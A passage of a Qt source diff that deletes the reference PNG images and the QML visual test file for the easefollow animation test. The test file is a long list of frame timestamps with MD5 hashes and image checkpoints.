+ +QTEST_MAIN(tst_qdeclarativesmoothedanimation) + +#include "tst_qdeclarativesmoothedanimation.moc" diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.0.png deleted file mode 100644 index 21b6afb..0000000 Binary files a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.0.png and /dev/null differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.1.png b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.1.png deleted file mode 100644 index bb8a02b..0000000 Binary files a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.1.png and /dev/null differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.2.png b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.2.png deleted file mode 100644 index da60237..0000000 Binary files a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.2.png and /dev/null differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.3.png b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.3.png deleted file mode 100644 index 3e943e8..0000000 Binary files a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.3.png and /dev/null differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.4.png b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.4.png deleted file mode 100644 index 4fbaf26..0000000 Binary files a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.4.png and /dev/null differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.5.png b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.5.png deleted file mode 100644 index c10d196..0000000 Binary files a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.5.png and /dev/null differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.6.png b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.6.png deleted file mode 100644 index a672c06..0000000 Binary files a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.6.png and /dev/null differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.qml b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.qml deleted file mode 100644 index 029a2fc..0000000 --- a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.qml +++ /dev/null @@ -1,1807 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "1f60efdb8704b92c9361daa468a25391" - } - Frame { - msec: 32 - hash: "3bb6a87617e0e5d4922e573eec975886" - } - Frame { - msec: 48 - hash: "268941737e6324d580890b151de621fb" - } - Frame { - msec: 64 - hash: "99c674eccc082d7f0982257a748d93e5" - } - Frame { - msec: 80 - hash: "2970467e8262c8a3f0b11be71245d048" - } - Frame { - msec: 96 - hash: "63cbd06d6bb035d27c18dba49238d8b2" - } - Frame { - msec: 112 - hash: "49f77bb3d323f882c0ec56e1f1040b3a" - } - Frame { - msec: 128 - hash: "40263c5f9b5d2236536163785f832b4d" - } - Frame { - msec: 144 - hash: "dc63b1c21a2027c4beb9c297a3677fbd" - } - Frame { - msec: 160 - hash: "4fab52ea29a819fec032f19dbcbef012" - } - Frame { - msec: 176 - hash: "60b48407a8f8ae2cce7d3e7c8b21991c" - } - Frame { - msec: 192 - hash: "6e542c681092a5ebeef0534fa2bd2d6c" - } - Frame { - msec: 208 - hash: "c7c6471969bbf81efdb86d1695548fc6" - } - Frame { - msec: 224 - hash: "b7f4ad9a49feb400894209c02b94478a" - } - Frame { - msec: 240 - hash: "3eb58b2f5233aead976183c13f241113" - } - Frame { - msec: 256 - hash: "54f2036c50c6d8079fc0cadc01385980" - } - Frame { - msec: 272 - hash: "f297659d75f6e724d72bd548821f4c9f" - } - Frame { - msec: 288 - hash: "112798f080336fc9c603a7e9097dd8aa" - } - Frame { - msec: 304 - hash: "c432e6ec2b53ca43cb7a7325d0cc379b" - } - Frame { - msec: 320 - hash: "4a6d3db3efd665ad7f372bf3f2508ed7" - } - Frame { - msec: 336 - hash: "0befa5dc4d2cc196fed0eb1a3aa75b8f" - } - Frame { - msec: 352 - hash: "a34d010b50d59c362b54e44d69c2df91" - } - Frame { - msec: 368 - hash: "cbdacced50186c87066ce1d46548b27e" - } - Frame { - msec: 384 - hash: "a4060010ae4d3c0973bda48d68f7bd0a" - } - Frame { - msec: 400 - hash: "47353437da587f732f986004c09884d0" - } - Frame { - msec: 416 - hash: "080c348145167bbec671a04da6f7564f" - } - Frame { - msec: 432 - hash: "69dead737c717a076ae3865680341fb4" - } - Frame { - msec: 448 - hash: "1efdc31c5c8fa72fc848877deb6caaa4" - } - Frame { - msec: 464 - hash: "28d7da1e933d0585d03acf4a529e7b42" - } - Frame { - msec: 480 - hash: "bf85534124bf025b7ede0d6c80b8e443" - } - Frame { - msec: 496 - hash: "cdbeb2d51541b1b1eff060efe993db91" - } - Frame { - msec: 512 - hash: "52ad56ae16c8ab523adda8edc512dd87" - } - Frame { - msec: 528 - hash: "61b1937f4c8dd2cb0ddd7031c5bfb3ab" - } - Frame { - msec: 544 - hash: "1b109baba71b16827f90da654af093a3" - } - Frame { - msec: 560 - hash: "d56621362802c8626868f36ba1e7db22" - } - Frame { - msec: 576 - hash: "ee5555ec3ad8760f43bbf5958a925936" - } - Frame { - msec: 592 - hash: "1ed2831144a453af1978605c0e42d17c" - } - Frame { - msec: 608 - hash: "c74d5cdb3395a702269dfa88c8c9d975" - } - Frame { - msec: 624 - hash: "ea98ddd9588cc23fd82a342ec2925ba8" - } - Frame { - msec: 640 - hash: "e76b94d6d57f1a510f7649eaab892562" - } - Frame { - msec: 656 - hash: "022f40b6fe9dbaf8019855234acb3461" - } - Frame { - msec: 672 - hash: "467da4f48aa6aeb113f0797facf157e8" - } - Frame { - msec: 688 - hash: "8df407aadd4d896eb6537e1555a0242f" - } - Frame { - msec: 704 - hash: "122e4671881e31f54e617729f4fbb3b0" - } - Frame { - msec: 720 - hash: "562718f101c3cd7525b890076413df5e" - } - Frame { - msec: 736 - hash: "07feae99ecf4b70eb094fd3e10deca56" - } - Frame { - msec: 752 - hash: "0980d133b1006cc07796023880415163" - } - Frame { - msec: 768 - hash: "7112b6ac97678b3b942c64c5108f0329" - } - Frame { - msec: 784 - hash: "bb9f893a9aaee60ab6c30918552828a4" - } - Frame { - msec: 800 - hash: "65d1f29437aaaea33676757276f1e434" - } - Frame { - msec: 816 - hash: "52adcf2509f3236ac8ef571708e77206" - } - Frame { - msec: 832 - hash: "22df5e7eda8a813531d0e0366cbfbf64" - } - Frame { - msec: 848 - hash: "fe9b7b7812dd2410b8ed2eb19aa78f4d" - } - Frame { - msec: 864 - hash: "141e22de4469f316b5ef5471f3c7bba0" - } - Frame { - msec: 880 - hash: "1125c0a105fc4a2cae36b798058ce23f" - } - Frame { - msec: 896 - hash: "8c17c5da2ae867fb0016a485ba9e4166" - } - Frame { - msec: 912 - hash: "d8da9fc7ec4dcefb894c5a6a71e9d001" - } - Frame { - msec: 928 - hash: "00ff642bea89fd89de394d78f8c5db33" - } - Frame { - msec: 944 - hash: "8549063d517a3ce1ffd44c56b3b6cf5e" - } - Frame { - msec: 960 - image: "easefollow.0.png" - } - Frame { - msec: 976 - hash: "95a642caa72bb31cc1e04ecc12d07cd0" - } - Frame { - msec: 992 - hash: "e65c823476bf920d0386f62ca831e6a0" - } - Frame { - msec: 1008 - hash: "91e8913dc693c91a674a10b5b088dd8f" - } - Frame { - msec: 1024 - hash: "1a469ffa0d530f72c78dc14783891c78" - } - Frame { - msec: 1040 - hash: "6e46a83d07f8bc034b421103ef0e4f8c" - } - Frame { - msec: 1056 - hash: "8ddacab411a8b73b6c9e69576fa1b003" - } - Frame { - msec: 1072 - hash: "41f419a85fe44efe27c9a526d83a1e9a" - } - Frame { - msec: 1088 - hash: "73d4ece31b258f9caf4556ce20a5be1f" - } - Frame { - msec: 1104 - hash: "ef3ebe0acb50386cf79b9f08fbba2fbc" - } - Frame { - msec: 1120 - hash: "c11a84d2fa80f28adb1466409812e987" - } - Frame { - msec: 1136 - hash: "2e9db854b02d28b38063ff2a8e821ed1" - } - Frame { - msec: 1152 - hash: "48e073c0e6b19aea8314629a2179af87" - } - Frame { - msec: 1168 - hash: "77e518b7428d93b67a8fb0d33d85ed97" - } - Frame { - msec: 1184 - hash: "1d18323af9c62e015513451883f8b39f" - } - Frame { - msec: 1200 - hash: "df49889ba157cdc1ca240d08d2760ad7" - } - Frame { - msec: 1216 - hash: "7b8cd2bcf0a4c38ab870f27894a43d2f" - } - Frame { - msec: 1232 - hash: "84f10e0c9fd57dd1799df7fc34c5ef01" - } - Frame { - msec: 1248 - hash: "ead4e609bc4a0755032b1648485b9625" - } - Frame { - msec: 1264 - hash: "9a9829c3bd4a3a4155383c37e21e8db8" - } - Frame { - msec: 1280 - hash: "5008917f60256abad867f32c1caf954d" - } - Frame { - msec: 1296 - hash: "c21455d66ed0754177af5ce44b7c7600" - } - Frame { - msec: 1312 - hash: "e8332f2586d80a2700b610e8fe5c72d9" - } - Frame { - msec: 1328 - hash: "0d0c8af138f98bae8a370ebec4a4796c" - } - Frame { - msec: 1344 - hash: "04065e8feeb900d18deeb941572f7f10" - } - Frame { - msec: 1360 - hash: "992a225b1f25bf5b21dd7f8a55dc4b70" - } - Frame { - msec: 1376 - hash: "8ef739d91ee2a4337cbfc3dc94ce9845" - } - Frame { - msec: 1392 - hash: "46744977a26b37ab65e65e1891ceafe7" - } - Frame { - msec: 1408 - hash: "1b4c0d79eeb8d6b2e30172f3664407b9" - } - Frame { - msec: 1424 - hash: "d572831ed34d14d1125570b8b8767bdb" - } - Frame { - msec: 1440 - hash: "8b785c756d11e0fc18959d0897a45673" - } - Frame { - msec: 1456 - hash: "164a71ffcea63ceb6c1ebeb8d0d07af1" - } - Frame { - msec: 1472 - hash: "e128dc12d5117eed9f7c0a16e8348ba2" - } - Frame { - msec: 1488 - hash: "4c7db5b12d83bf22b1c88ac06ca7c385" - } - Frame { - msec: 1504 - hash: "c7283df8dbd78121e17a5893e3ea4f3c" - } - Frame { - msec: 1520 - hash: "fea768e5bb43f6d86d88ced9f73915de" - } - Frame { - msec: 1536 - hash: "b99b54f8e75452c539bb4e7b6a36e944" - } - Frame { - msec: 1552 - hash: "b7274938d16f03b376ad9739e2e893f1" - } - Frame { - msec: 1568 - hash: "e61601942193add8c1c8ebf5c5319932" - } - Frame { - msec: 1584 - hash: "8fdc2181e0120391505706716ba7e5d7" - } - Frame { - msec: 1600 - hash: "66f737ed28453da5175d6b5e807c374d" - } - Frame { - msec: 1616 - hash: "2e00a7895d61edbe794f0a8000871b30" - } - Frame { - msec: 1632 - hash: "1a279fc6b7c4105eccc4e3bc99481bef" - } - Frame { - msec: 1648 - hash: "bc1dea4d23ca9bc29b72a8c2bde4787b" - } - Frame { - msec: 1664 - hash: "8ef40e0be5fb82b32b365b3d4b85421d" - } - Frame { - msec: 1680 - hash: "ee37c68bf38d5eed4e3e9a31306f6801" - } - Frame { - msec: 1696 - hash: "303d760c87a7a833606c8e9f46cb5fc0" - } - Frame { - msec: 1712 - hash: "cc2563b47c58efd39bec6b4e0f2995bb" - } - Frame { - msec: 1728 - hash: "33f7daf09497510475283d6dc7c51228" - } - Frame { - msec: 1744 - hash: "5b5e2de9934c80bd49e0eb7afd85151d" - } - Frame { - msec: 1760 - hash: "5e6bf706336789ca6b60a82998b70113" - } - Frame { - msec: 1776 - hash: "b4d4a860f49bfb88dd2079862b40b7ec" - } - Frame { - msec: 1792 - hash: "07b571fa55327487e34a592c778beb67" - } - Frame { - msec: 1808 - hash: "cb5b349a536cf75a83734181b3eab92b" - } - Frame { - msec: 1824 - hash: "ce903bb58c5c86f2955e68412893aedf" - } - Frame { - msec: 1840 - hash: "ffa89e879558c83ed538812a93e2fe29" - } - Frame { - msec: 1856 - hash: "562aa66bf537853be82a654542c8b80e" - } - Frame { - msec: 1872 - hash: "dc45dac0cc20220bcc81210fb5506ee2" - } - Frame { - msec: 1888 - hash: "3b429eb827df0800a1ad8b906ea32ef9" - } - Frame { - msec: 1904 - hash: "d6ebaf12515d9e24cdbf6d75080c0b28" - } - Frame { - msec: 1920 - image: "easefollow.1.png" - } - Frame { - msec: 1936 - hash: "9f6d26224055c809dc2f3490cd0ff880" - } - Frame { - msec: 1952 - hash: "5630cc8f0b401f7d81bdceaaae5cce68" - } - Frame { - msec: 1968 - hash: "dafda60467e5e2b99c41543dd191ac2d" - } - Frame { - msec: 1984 - hash: "e053cb07a734278cd111d612883c165e" - } - Frame { - msec: 2000 - hash: "63870f3e99c11707004dab9439d61389" - } - Frame { - msec: 2016 - hash: "14c311a6fab45f828c3a19535ea9edc8" - } - Frame { - msec: 2032 - hash: "13e614446cbfcbfd2a7ecc5f0e8688df" - } - Frame { - msec: 2048 - hash: "173c97f59da05b9347180a4824e60c06" - } - Frame { - msec: 2064 - hash: "932e2a9bbcb7dc5befca8f63d8fa3c95" - } - Frame { - msec: 2080 - hash: "4b8f232ffe0cbc7f900de5737c9f95be" - } - Frame { - msec: 2096 - hash: "9686d294d4e931a5eed0e6b5bda63377" - } - Frame { - msec: 2112 - hash: "969c569d92e3ec51dfbdd20d64432224" - } - Frame { - msec: 2128 - hash: "0cef3550cca9fb5611b836098c517dd1" - } - Frame { - msec: 2144 - hash: "6728080a09aa5d48462a3abb8e285e8a" - } - Frame { - msec: 2160 - hash: "4b904dc671b7fc72db0b6e52543e96bd" - } - Frame { - msec: 2176 - hash: "38232f89dffc9b16db6ea60b02f8d1be" - } - Frame { - msec: 2192 - hash: "6b41f2a0f950eddad217a03e137f9a9b" - } - Frame { - msec: 2208 - hash: "be576ea74c2c404da46fcf1d22de6df9" - } - Frame { - msec: 2224 - hash: "3f44bad4b51ceff2944337064a5efa91" - } - Frame { - msec: 2240 - hash: "e1ab98ac1366e9fd8af62a6a26878c73" - } - Frame { - msec: 2256 - hash: "bd131e1725a54b3dbbb86a29ca8a56a9" - } - Frame { - msec: 2272 - hash: "4d3e8af70f228643803f780c4e36f1a6" - } - Frame { - msec: 2288 - hash: "853a5ab4271af7a7638454cfa883aa33" - } - Frame { - msec: 2304 - hash: "ede9260157000f346900153ce2409278" - } - Frame { - msec: 2320 - hash: "b2b16d8ce1ba89f0d9558ac387e25c3d" - } - Frame { - msec: 2336 - hash: "387d338910453637c5cf80fa35528e56" - } - Frame { - msec: 2352 - hash: "26deabf9cdd994455f2a8802eb0e04dc" - } - Frame { - msec: 2368 - hash: "13939659a315dae1b81e3ea166102edf" - } - Frame { - msec: 2384 - hash: "be92b55bb7562372401b25a9167abb2b" - } - Frame { - msec: 2400 - hash: "ee7bf60d7ee97b7de5e909b9af88df80" - } - Frame { - msec: 2416 - hash: "434313a3bcd1d7582b0d89b9a145ef09" - } - Frame { - msec: 2432 - hash: "0857ca59a283897e3df62b9633488f83" - } - Frame { - msec: 2448 - hash: "76718fc7e3d21b54930bc8307a57733a" - } - Frame { - msec: 2464 - hash: "93a91588b38129053a462b920fd686e3" - } - Frame { - msec: 2480 - hash: "2a2486c52fde915696fd8cbd3682e8db" - } - Frame { - msec: 2496 - hash: "b1f4ab6cc5fb4a3a1b4885f2d1b29277" - } - Frame { - msec: 2512 - hash: "4258afce8a85a2e9ead149e34b43d8fc" - } - Frame { - msec: 2528 - hash: "6672c71b98e13d51ebb523aed9036a72" - } - Frame { - msec: 2544 - hash: "eaa39af7eb78948f433e3b44a9454317" - } - Frame { - msec: 2560 - hash: "0a766bc97bea67d4b848c703eaa6777a" - } - Frame { - msec: 2576 - hash: "0b461ec1885ede1dd96b71cf38bfd3d6" - } - Frame { - msec: 2592 - hash: "15efc929370a3864529080e30db1026a" - } - Frame { - msec: 2608 - hash: "e1529e30ff1e4ea1b092a88e85f2f1f6" - } - Frame { - msec: 2624 - hash: "f29bd9dbf7317e94b885da63f0cb7374" - } - Frame { - msec: 2640 - hash: "e5294e087e2ce0d7d936c0129b6c37ae" - } - Frame { - msec: 2656 - hash: "9c63129e774b391cc398cf5da5c9339c" - } - Frame { - msec: 2672 - hash: "4371d85854419d4b00671176bb7c5a2b" - } - Frame { - msec: 2688 - hash: "dd10b3f50e2fdc56c75f00321634b1cc" - } - Frame { - msec: 2704 - hash: "aac6256b21152a5f1f8c576b667d275e" - } - Frame { - msec: 2720 - hash: "c937c44037b2228590d334df4d56a86f" - } - Frame { - msec: 2736 - hash: "f6c714db51cbd1bdb737afe612c33f9c" - } - Frame { - msec: 2752 - hash: "0bba45af79f3201bc7cf042d5c648f73" - } - Frame { - msec: 2768 - hash: "941b08ddbafea3bd46262c060b1e290b" - } - Frame { - msec: 2784 - hash: "d898918dc2023de239b4ab38f7420960" - } - Frame { - msec: 2800 - hash: "d1a16dc2282329113093d06862e7a871" - } - Frame { - msec: 2816 - hash: "bba5359475f643fbeee240e71e843d4c" - } - Frame { - msec: 2832 - hash: "03cf861f4b6bc767e723e47e95c2448b" - } - Frame { - msec: 2848 - hash: "a64bf158c6199b88bc2db3b741d342f0" - } - Frame { - msec: 2864 - hash: "cf0fe7cb42ba842f1c28c1211adb768d" - } - Frame { - msec: 2880 - image: "easefollow.2.png" - } - Frame { - msec: 2896 - hash: "9b3c6414e4ef5a452a5c92bb0b893fc3" - } - Frame { - msec: 2912 - hash: "7cc7ddec3ac2d8cac33c0b0f80a7544d" - } - Frame { - msec: 2928 - hash: "7dd4e7d606e953c872c57fad786d64aa" - } - Frame { - msec: 2944 - hash: "117cc903a39d99ca22f6556095e6f883" - } - Frame { - msec: 2960 - hash: "c6c9304fd65fee1909473bdb21ac7806" - } - Frame { - msec: 2976 - hash: "8e704fe81c040f49c4d80e7dcc46084d" - } - Frame { - msec: 2992 - hash: "d202d5c0a058e1e088fdd280e59f17bb" - } - Frame { - msec: 3008 - hash: "90c072dea32c056f8bd6d010df681929" - } - Frame { - msec: 3024 - hash: "80b4e99f1b47e64084e295a2a3e1121e" - } - Frame { - msec: 3040 - hash: "41d6307075ec9ae9e92d227921f71289" - } - Frame { - msec: 3056 - hash: "f33de23cf4a5c4881310c6866261d387" - } - Frame { - msec: 3072 - hash: "441faa0a1fc95d66b27479dfc1e40188" - } - Frame { - msec: 3088 - hash: "2314b5f6ba3864abd5e87bc87bd621b0" - } - Frame { - msec: 3104 - hash: "e71e3b0ad953258ceef3101e38283fdb" - } - Frame { - msec: 3120 - hash: "890c3b0e727f136bf1ccc486531c9677" - } - Frame { - msec: 3136 - hash: "2a0d23e6dcc6475c323dbf8eb36e8094" - } - Frame { - msec: 3152 - hash: "692682e82347936f87a66484b428e959" - } - Frame { - msec: 3168 - hash: "cf4005c08789762ad21be1a1d78755c9" - } - Frame { - msec: 3184 - hash: "566184563091626bb20ae679e3ce3b91" - } - Frame { - msec: 3200 - hash: "f88a24ad3bbc2699924bb9a7ff6490b3" - } - Frame { - msec: 3216 - hash: "23f3f63d07b2bdc2b82ff4e8606a634d" - } - Frame { - msec: 3232 - hash: "fe121c71ce469ec6f0bf957eb2f0447b" - } - Frame { - msec: 3248 - hash: "ba217690a33c701afe11842aa8105cbb" - } - Frame { - msec: 3264 - hash: "e5c7c1323108f13ba26f5198cc62c137" - } - Frame { - msec: 3280 - hash: "664f76d3d0008b56be2790c470befc91" - } - Frame { - msec: 3296 - hash: "b3f54070ba64b983ccd2a15941ef4c35" - } - Frame { - msec: 3312 - hash: "8a0ba2ae36ad3811778f3a3bc55743f5" - } - Frame { - msec: 3328 - hash: "bfdc71733ca45a2ba2e8abf751554a62" - } - Frame { - msec: 3344 - hash: "686e4d7bb5ae148d37fc2a1f6004a33a" - } - Frame { - msec: 3360 - hash: "29c553d9fe42fdbbd019d0ead61dffa0" - } - Frame { - msec: 3376 - hash: "bfa2b72c6554a2ed80a3b86f2cbed986" - } - Frame { - msec: 3392 - hash: "074ff90417a947f0a04926d5675d073b" - } - Frame { - msec: 3408 - hash: "6f56f9e0aa40149156ca71d6f8d4476a" - } - Frame { - msec: 3424 - hash: "950ce749bbf572021de2dd1688cb87e6" - } - Frame { - msec: 3440 - hash: "2d0903bd71862dc6f28bd702d955ae99" - } - Frame { - msec: 3456 - hash: "2733adae56728f1b744a4086ecb98052" - } - Frame { - msec: 3472 - hash: "779859d739e799bba15beeb97d18e682" - } - Frame { - msec: 3488 - hash: "9074386cfabe136b8839637e5cd58f57" - } - Frame { - msec: 3504 - hash: "fa5bcbf20c6ad0a218f23d98961229a1" - } - Frame { - msec: 3520 - hash: "5406c94da1717eaa5eb0010564216059" - } - Frame { - msec: 3536 - hash: "27d0a3c3a33c04df843bebd72ef79824" - } - Frame { - msec: 3552 - hash: "270df9c99c2679071b854b3d82337f79" - } - Frame { - msec: 3568 - hash: "5b3945505443a67e7a91f66fe42b4fe3" - } - Frame { - msec: 3584 - hash: "9a2f8565c354cb366725368ed323ccf4" - } - Frame { - msec: 3600 - hash: "6702cb7ccd61c008b511932d7bd5d107" - } - Frame { - msec: 3616 - hash: "f6b86c3a1cc88357f588b6dae11aae30" - } - Frame { - msec: 3632 - hash: "b10c23937f420db72af8abaf126f71c2" - } - Frame { - msec: 3648 - hash: "7d6b0810ffc6e488c8168e19bccb7358" - } - Frame { - msec: 3664 - hash: "c01ef69ec46391909619434e9d9dd0ce" - } - Frame { - msec: 3680 - hash: "a046464fccb0c5ba1f63f8b569821a44" - } - Frame { - msec: 3696 - hash: "8763c526924d882438f9aa9bfb4fe87d" - } - Frame { - msec: 3712 - hash: "dede7a62d6e5c10e8f30caa075bd8dfd" - } - Frame { - msec: 3728 - hash: "3b408e5c986f5bb01d8c3949876b792f" - } - Frame { - msec: 3744 - hash: "0a458f3b17cdd3ea85522779c9346af9" - } - Frame { - msec: 3760 - hash: "fef521f0301cce90af88d37e6d441ec8" - } - Frame { - msec: 3776 - hash: "3d083e0822242b3b37c6839ca91a1f68" - } - Frame { - msec: 3792 - hash: "f8fe013a717e6e61830137bdc78a8b40" - } - Frame { - msec: 3808 - hash: "0ae80ad65dd194043500fa50b5a547a6" - } - Frame { - msec: 3824 - hash: "a53c67fa32ef971eaea202fa5d8a6ad6" - } - Frame { - msec: 3840 - image: "easefollow.3.png" - } - Frame { - msec: 3856 - hash: "41f86bbf0658b127f01e8d46d7ec941b" - } - Frame { - msec: 3872 - hash: "d20f21df127565f9eb87c5d759a638d9" - } - Frame { - msec: 3888 - hash: "85ff94f03cea3e111807e90d062c1367" - } - Frame { - msec: 3904 - hash: "aa637850fe5f05a71ac4c7d31dbb36ee" - } - Frame { - msec: 3920 - hash: "c86a67096c5e62bb73b785cdf6a5b6b1" - } - Frame { - msec: 3936 - hash: "9d53537f2c50a0016bf7bb522b2ec3d8" - } - Frame { - msec: 3952 - hash: "b48630c27c27785ddce568a85d4dc58f" - } - Frame { - msec: 3968 - hash: "01c1bdb6e261cc509f26712b13eeb554" - } - Frame { - msec: 3984 - hash: "af8a44284695fd999acd5944434f0372" - } - Frame { - msec: 4000 - hash: "b156d9d6d5163f007ac4a309d8927ae9" - } - Frame { - msec: 4016 - hash: "2df3715416c3c005f04b66fe1258c0d8" - } - Frame { - msec: 4032 - hash: "96b4a7c6b8542b50fc345b54d38ec82a" - } - Frame { - msec: 4048 - hash: "7e62e757fafa06833444c3a7e1d96ce4" - } - Frame { - msec: 4064 - hash: "5222a8f9366c7d974d0687d05d229069" - } - Frame { - msec: 4080 - hash: "ec96169f4633c3bddfd582feeb8e9ad4" - } - Frame { - msec: 4096 - hash: "cb10db893d1e1cb2a370507dc5679985" - } - Frame { - msec: 4112 - hash: "d7e346c2ac77796bde639bd829b72e85" - } - Frame { - msec: 4128 - hash: "ba5bea8857e4fb444bedd3873563e7db" - } - Frame { - msec: 4144 - hash: "05556fba5d1714f70fd6c2bfb43d213b" - } - Frame { - msec: 4160 - hash: "aeeabf35f9759f045a670a9b9f90dc68" - } - Frame { - msec: 4176 - hash: "131bd453f4c7726e5fdd546252700e2e" - } - Frame { - msec: 4192 - hash: "7c5c3b5bb7a4082e6b9b43640e29f4e2" - } - Frame { - msec: 4208 - hash: "07515e21b7a7895f333e4a8bbd2202eb" - } - Frame { - msec: 4224 - hash: "6cf136f223ac6edd39ba6ed9b4445884" - } - Frame { - msec: 4240 - hash: "84264f5745add8a922101735ed8def84" - } - Frame { - msec: 4256 - hash: "660863d1e4b361f2e5445b417be0d2ad" - } - Frame { - msec: 4272 - hash: "7ceb86f4b16546370d72164d0ca3147c" - } - Frame { - msec: 4288 - hash: "a13e97da9722545ad87ac3c5eb92c497" - } - Frame { - msec: 4304 - hash: "5896b5307cbd609d2062d3607786d40c" - } - Frame { - msec: 4320 - hash: "c8c511115394116e4544c67f615ea5d5" - } - Frame { - msec: 4336 - hash: "59ca5fdf12a735e5c292901b54acccb2" - } - Frame { - msec: 4352 - hash: "155cce2738d34e0eac86f5eb63d638f0" - } - Frame { - msec: 4368 - hash: "83a840c3ae7dbd9a05c17fdd8be07d7a" - } - Frame { - msec: 4384 - hash: "800a15de28b14d88f0ad58fc3f4a2520" - } - Frame { - msec: 4400 - hash: "c8381439a3cd3f9e7f80061023723a6e" - } - Frame { - msec: 4416 - hash: "e3d63000db4b9458b202dece49d1bdba" - } - Frame { - msec: 4432 - hash: "c943e56781695798f3c221f8ab09681a" - } - Frame { - msec: 4448 - hash: "1137ee66d7fbf5a84c33f5ffff15b3dd" - } - Frame { - msec: 4464 - hash: "5a98013cc4462aad18cad8d941f77aa0" - } - Frame { - msec: 4480 - hash: "d0b3748fb49a13c0ad9a68b0e2914921" - } - Frame { - msec: 4496 - hash: "12113f71f9117670acbd7877edded7e0" - } - Frame { - msec: 4512 - hash: "22983424da08cdae7a9c6a8905b37736" - } - Frame { - msec: 4528 - hash: "b2db5618a025cefb2650124c81880c49" - } - Frame { - msec: 4544 - hash: "84fb5e7edc5b42163a83e0cd362b3a46" - } - Frame { - msec: 4560 - hash: "39d6f1ed0f60a0c366c22e1442c455ac" - } - Frame { - msec: 4576 - hash: "702367f6e4aaa2a862e57f9e02a08758" - } - Frame { - msec: 4592 - hash: "ecc75293bc156c560d55cb7d278a4e58" - } - Frame { - msec: 4608 - hash: "e68af8e97ce65376fd7904e599440c92" - } - Frame { - msec: 4624 - hash: "75fe9f766d6cf636cd72d8879a461439" - } - Frame { - msec: 4640 - hash: "162aef147ef4bbb0cd92bd70e4f37f62" - } - Frame { - msec: 4656 - hash: "d879aae8949976c7bad4d97f1e5b5549" - } - Frame { - msec: 4672 - hash: "8a983d7228190721f988de2d72cb3aa2" - } - Frame { - msec: 4688 - hash: "a4f3c63fde664d128cd35b129a4f9a23" - } - Frame { - msec: 4704 - hash: "115fb5f3c9b7f1c28ab379596faba91c" - } - Frame { - msec: 4720 - hash: "ea9600c4d6c77a3b32e59401aa84fe96" - } - Frame { - msec: 4736 - hash: "bd6531fdd9cfd46af2df73bacb31f4c5" - } - Frame { - msec: 4752 - hash: "33bdcf1df50eab5e7963c649fbd32226" - } - Frame { - msec: 4768 - hash: "236e88fb72369a55f9eba4b50712ae85" - } - Frame { - msec: 4784 - hash: "5eb3c14a6296fb3a1c58603b2fc937c8" - } - Frame { - msec: 4800 - image: "easefollow.4.png" - } - Frame { - msec: 4816 - hash: "31d11a1ce6422524241c77603fe53e61" - } - Frame { - msec: 4832 - hash: "44e8b9947026c10b922c84883dd8e889" - } - Frame { - msec: 4848 - hash: "d049e4f7c4bc1849398859a4d630c1b3" - } - Frame { - msec: 4864 - hash: "e83b4757898e4eeef74be8213619fbfa" - } - Frame { - msec: 4880 - hash: "d08f40615f2d5abc6236e856a67575dd" - } - Frame { - msec: 4896 - hash: "d9cb26bf1b8bbafb2aed8f74bd454077" - } - Frame { - msec: 4912 - hash: "aa321b94a6cc53b2ebac80e834c0a908" - } - Frame { - msec: 4928 - hash: "48da37164be156b67a4b3b14e50f2375" - } - Frame { - msec: 4944 - hash: "f522ce7728a4a9e7fad86c72f29bd8f9" - } - Frame { - msec: 4960 - hash: "9bc1d16b4bda596702a3d8a3fad8a5c5" - } - Frame { - msec: 4976 - hash: "5275dccf18745dec6c59b846de17d9ef" - } - Frame { - msec: 4992 - hash: "4eb6babc177b96f69b148d52f56d82d7" - } - Frame { - msec: 5008 - hash: "ccdfb454070ac04c4fe4f3513c52f8c8" - } - Frame { - msec: 5024 - hash: "07f6adad6e8ff4f0eff92c758636a951" - } - Frame { - msec: 5040 - hash: "241e0ad9218d49be477509e008e45548" - } - Frame { - msec: 5056 - hash: "151a482e821779da8a61063f1cc73f8c" - } - Frame { - msec: 5072 - hash: "1499d207c5a3a9bc7bbb84d9c5e35578" - } - Frame { - msec: 5088 - hash: "c253753f653157a5058ef071f16b8bbb" - } - Frame { - msec: 5104 - hash: "ec9fea5a870724a106b952edef7fb466" - } - Frame { - msec: 5120 - hash: "99b673f8ed049d31a2aecabcc46d841d" - } - Frame { - msec: 5136 - hash: "61e77fea693ea55aafbdc94c40c3ab33" - } - Frame { - msec: 5152 - hash: "53e44a3732ee6858d5bd596b4c5d5305" - } - Frame { - msec: 5168 - hash: "5b25d3894a56dc4f4a0aa8f88cb69e23" - } - Frame { - msec: 5184 - hash: "5683ad02f1b9126f4e4ff6b03044fdc6" - } - Frame { - msec: 5200 - hash: "0a3ec255575ec1b70e0b10cf59c7c5fd" - } - Frame { - msec: 5216 - hash: "0f5f46fe3fdf42d4651891f13c8afc7e" - } - Frame { - 